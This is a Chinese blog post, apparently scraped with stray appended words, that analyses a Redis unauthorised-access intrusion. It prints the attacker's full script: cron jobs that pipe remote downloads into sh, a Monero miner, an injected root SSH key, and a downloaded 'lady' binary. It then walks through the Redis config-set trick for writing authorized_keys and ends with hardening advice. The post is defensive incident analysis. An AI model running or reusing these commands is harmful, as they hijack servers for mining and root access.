&emsp有如下其一現象就要注意是否被入侵:redis
經過查看從「https://r.chanstring.com/api/...」獲取的腳本進行分析,腳本以下:api
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr & if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/opt/yam/yam" ]; then rm -rf /opt/yam mkdir -p /opt/yam curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam chmod +x /opt/yam/yam nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr & fi if [ ! -f "/etc/init.d/lady" ]; then if [ ! -f "/etc/systemd/system/lady.service" ]; then mkdir -p /opt curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 fi fi rm -rf /tmp/KHK75NEOiq* service lady start systemctl start lady.service /etc/init.d/lady start
上面的腳本大概作了以下幾件事:bash
並啓動/etc/init.d/lady(https://r.chanstring.com/v10/...`uname -i
`處獲取)服務。服務器
爲了更好地理解具體流程,以便於採起補救措施,這裏手動進行下模擬:
前提:遠程主機能夠無需密碼登陸redisssh
執行命令「redis-cli -h 遠程ip」登陸到遠程主機redis,執行以下命令:curl
# 調用config set命令對redis的備份文件路徑進行修改,而後執行 # save進行生成備份文件(這裏是生成了authorized_keys文件,也可 # 以是任意名字,但若是是其餘名字就須要經過腳本對遠程主 # 機/etc/ssh/sshd_config文件進行相應的配置)。這樣就可使用 # 本地的私鑰去登入被植入公鑰的ssh服務器了。 config set dir /root/.ssh/ config dbfilename authorized_keys save
到這裏,咱們就能夠不須要密碼以root身份登陸遠程主機了。tcp
若不想重裝系統,就得清理掉入侵者寫入本地的文件,及在本機開啓的服務。
經過配置rename-command CONFIG "",禁用一些命令。(某些必須以高權限運行的,能夠借鑑該方案)測試
修改redis.conf文件,增長 rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command CONFIG "" rename-command EVAL ""
以低權限啓動redisui
切換到其餘用戶su - xxx,而後再啓動server(切換是否注意以前文件權限,也須要相應修改)。
給redis增長驗證。url
修改redis.conf文件 requirepass mypassword
禁止對公網開放,將端口綁定到固定IP。
修改redis.conf文件 bind 127.0.0.1